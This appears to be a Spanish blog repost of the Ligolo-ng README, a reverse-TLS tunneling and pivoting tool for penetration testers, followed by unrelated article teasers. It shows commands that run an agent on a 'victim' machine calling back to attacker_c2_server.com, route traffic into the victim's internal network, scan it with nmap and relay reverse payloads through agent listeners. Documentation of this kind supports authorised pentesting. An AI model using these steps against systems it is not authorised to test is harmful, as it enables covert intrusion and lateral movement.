Ligolo Ng: Herramienta avanzada de tunelización/pivotación que utiliza una interfaz TUN

Ligolo-ng

es una herramienta sencilla , ligera y rápida que permite a los pentesters establecer túneles desde una conexión TCP/TLS inversa utilizando una interfaz tun (sin necesidad de SOCKS).

Características

  • Interfaz Tun (¡No más CALCETINES!)
  • UI simple con selección de agentes e información de red.
  • Fácil de usar y configurar
  • Configuración automática de certificados con Let’s Encrypt
  • Performante (multiplexación)
  • No requiere altos privilegios
  • Escucha/vinculación de socket en el agente
  • Múltiples plataformas soportadas para el agente.

¿En qué se diferencia esto de Ligolo/Chisel/Meterpreter…?

En lugar de utilizar un proxy SOCKS o reenviadores TCP/UDP, Ligolo-ng crea una pila de red de usuario utilizando Gvisor.

Cuando se ejecuta el servidor de retransmisión/proxy , se utiliza una interfaz tun , los paquetes enviados a esta interfaz se traducen y luego se transmiten a la red remota del agente .

Como ejemplo, para una conexión TCP:

  • SYN se traducen a connect() en el control remoto
  • SYN-ACK se devuelve si connect() tiene éxito
  • Se envía RST si se devuelve la llamada al sistema ECONNRESET, ECONNABORTED o ECONNREFUSED después de la conexión
  • No se envía nada si se agota el tiempo

Esto permite ejecutar herramientas como nmap sin el uso de proxychains (más simple y rápido).

Construcción y uso

Binarios precompilados

Los archivos binarios precompilados (Windows/Linux/macOS) están disponibles en la página de lanzamiento.

Edificio Ligolo-ng

Construyendo ligalo-ng (se requiere Go >= 1.20):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Configurar Ligolo-ng

linux

Cuando usa Linux, necesita crear una interfaz tun en el servidor proxy (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

ventanas

Debe descargar el controlador Wintun (utilizado por WireGuard) y colocarlo wintun.dll en la misma carpeta que Ligolo (asegúrese de utilizar la arquitectura correcta).

Ejecutando el servidor proxy Ligolo-ng

Inicie el servidor proxy en su servidor de Comando y Control (C2) (puerto predeterminado 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

Opciones TLS

Usando Let’s Encrypt Autocert

Al usar la -autocert opción, el proxy solicitará automáticamente un certificado (usando Let’s Encrypt) para attacker_c2_server.com cuando un agente se conecte.

El puerto 80 debe ser accesible para la validación/recuperación del certificado Let’s Encrypt

Usando sus propios certificados TLS

Si desea utilizar sus propios certificados para el servidor proxy, puede utilizar los parámetros -certfile y -keyfile .

Certificados autofirmados automáticos (NO RECOMENDADO)

El proxy/retransmisión puede generar automáticamente certificados TLS autofirmados usando la -selfcert opción.

La -ignore-cert opción debe usarse con el agente .

¡Cuidado con los ataques de intermediarios! Esta opción sólo debe usarse en un entorno de prueba o con fines de depuración.

Usando Ligolo-ng

Inicie el agente en la computadora de destino (víctima) (¡no se requieren privilegios!):

$ ./agent -connect attacker_c2_server.com:11601

Si desea hacer un túnel para la conexión a través de un proxy SOCKS5, puede usar la --socks ip:port opción. Puede especificar las credenciales SOCKS utilizando los argumentos --socks-user y --socks-pass .

Debería aparecer una sesión en el servidor proxy .

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Utilice el session comando para seleccionar el agente .

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Muestre la configuración de red del agente usando el ifconfig comando:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Agregue una ruta en el servidor proxy/retransmisión a la red del agente 192.168.0.0/24 .

Linux :

$ sudo ip route add 192.168.0.0/24 dev ligolo

Ventanas

:

> netsh int ipv4 show interfaces
Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
25           5       65535  connected     ligolo
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Inicie el túnel en el proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

Ahora puede acceder a la red del agente 192.168.0.0/24 desde el servidor proxy .

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Enlace/escucha del agente

Puede escuchar los puertos del agente y redirigir las conexiones a su servidor de control/proxy.

En una sesión de ligolo, use el listener_add comando.

El siguiente ejemplo creará un socket de escucha TCP en el agente (0.0.0.0:1234) y redirigirá las conexiones al puerto 4321 del servidor proxy.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

Sobre el proxy :

$ nc -lvp 4321

Cuando se realiza una conexión en el puerto TCP 1234 del agente, nc recibirá la conexión.

Esto es muy útil cuando se utilizan cargas útiles tcp/udp inversas.

Puede ver los oyentes que se están ejecutando actualmente usando el listener_list comando y detenerlos usando el listener_stop [ID] comando:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                          

¿Requiere acceso de administrador/root?

Del lado del agente , ¡no! Todo se puede realizar sin acceso administrativo.

Sin embargo, en su servidor de retransmisión/proxy , debe poder crear una interfaz tun .

Protocolos/paquetes admitidos

  • tcp
  • UDP
  • ICMP (solicitudes de eco)

Actuación

Puede alcanzar fácilmente más de 100 Mbits/seg. Aquí hay una prueba usando iperf desde un servidor de 200 Mbits/s a una conexión de 200 Mbits/s.

Advertencias

Debido a que el agente se ejecuta sin privilegios, no es posible reenviar paquetes sin formato. Cuando realiza un NMAP SYN-SCAN, se realiza una conexión TCP() en el agente.

Cuando utilice nmap , debe utilizar --unprivileged o -PE para evitar falsos positivos.

Hacer

  • Implementar otros mensajes de error ICMP (esto acelerará los análisis UDP);
  • No haga RST cuando reciba un ACK de una conexión TCP no válida (nmap informará que el host está activo);
  • Agregue soporte mTLS.

Descargar Ligolo-Ng

Relacionado

ForEach de Javascript: Array para bucles

Como una de las estructuras de control básicas en la programación, los bucles son casi una adición diaria al código que escribimos. El bucle forEach clásico es uno de los primeros fragmentos de código que aprendemos a escribir como programadores. Si fueras un desarrollador de Javascript, sabrías que Javascript no es ajeno a la iteración a través de los elementos de una matriz o un mapa ¡SEGUIR LEYENDO!

10 Mejores alternativas de Sci-hub para descargar artículos de investigación gratis

Como sabemos, Sci-hub es un sitio web increíble con millones de artículos de investigación para todos los estudiantes universitarios y académicos. El sitio web de Sci-Hub se encarga de obtener los artículos de investigación y artículos de pago utilizando las credenciales que se filtran. La fuente de credenciales utilizada por este sitio web no está clara. Sin embargo, se supone que muchas de ellas son donadas, ¡SEGUIR LEYENDO!

10 Características Sorprendentes de Windows que Deberías Conocer en 2024

Aunque haya sido usuario de Windows durante décadas, el sistema operativo es tan amplio y complejo que siempre existen características útiles, pero menos conocidas, que podrían sorprenderte. En este sentido, he identificado diez funciones poco conocidas de Windows que pueden potenciar su eficiencia, comodidad e incluso su experiencia de uso lúdico en su PC.

¡REBAJADO!
Microsoft Surface Go 2 - Portátil 2 en 1 de 10.5 pulgadas Full HD, Wifi, Intel...
  • Procesador Dual-Core Intel Pentium Gold 4425Y (2...
  • Memoria RAM de 8 GB LPDDR3
  • Disco SSD de 128 GB
Todas estas características deberían ser compatibles tanto con Windows 10 ¡SEGUIR LEYENDO!

10 Criptomonedas con Potencial de Crecimiento de Futuro

El rumor en torno a las criptomonedas no se desvanece por mucho que existan grandes pesimistas alrededor de los malos rumores. Entonces, si consideras invertir en el mundo de las criptomonedas, deberías estar atento a las criptomonedas que se espera que tengan un buen desempeño para el resto de 2021. En los últimos tiempos, los tokens DeFi están recibiendo toda la atención y es más que ¡SEGUIR LEYENDO!

10 Empresas de robótica más importantes del mundo

Los cambios de paradigma revolucionarios debido a los desarrollos de la robótica en todo el mundo están generando nuevos puntos de vista en muchos sectores, entre ellos en los de la industria y la tecnología. Con la ayuda de la Inteligencia Artificial, la tecnología produce resultados innovadores cada segundo y el campo de la robótica define y reconfigura su uso a cada instante. Cada día que ¡SEGUIR LEYENDO!

10 Frameworks que los Desarrolladores de Software deberían Aprender 2024

Bienvenidos desarrolladores web y de software, estamos en los inicios de 2023 y es posible que muchos se esten planteado sus objetivos para lo largo del año. Con anterioridad ya he compartidos las rutas de aprendizaje para un desarrollador front-end, un desarrollador full-stack o un desarrollador back-end entre otros muchos contenidos más. En este artículo, me gustaría compartir algunos de los mejores frameworks y bibliotecas para ¡SEGUIR LEYENDO!

10 Repositorio de GitHub que todo Desarrollador Web debería conocer

GitHub es el lugar que debes buscar cuando intentas mejorar como desarrollador, toda la información que necesitas está disponible en algún repositorio que alguien ya se ha molestado en indexar. Sin embargo, la parte complicado es encontrar el repositorio más adecuado. Es fácil sentirse perdido en todos los repositorios disponibles dentro de GitHub. Para ayudarte, he elaborado una lista de 10 repositorios de GitHub que pueden ¡SEGUIR LEYENDO!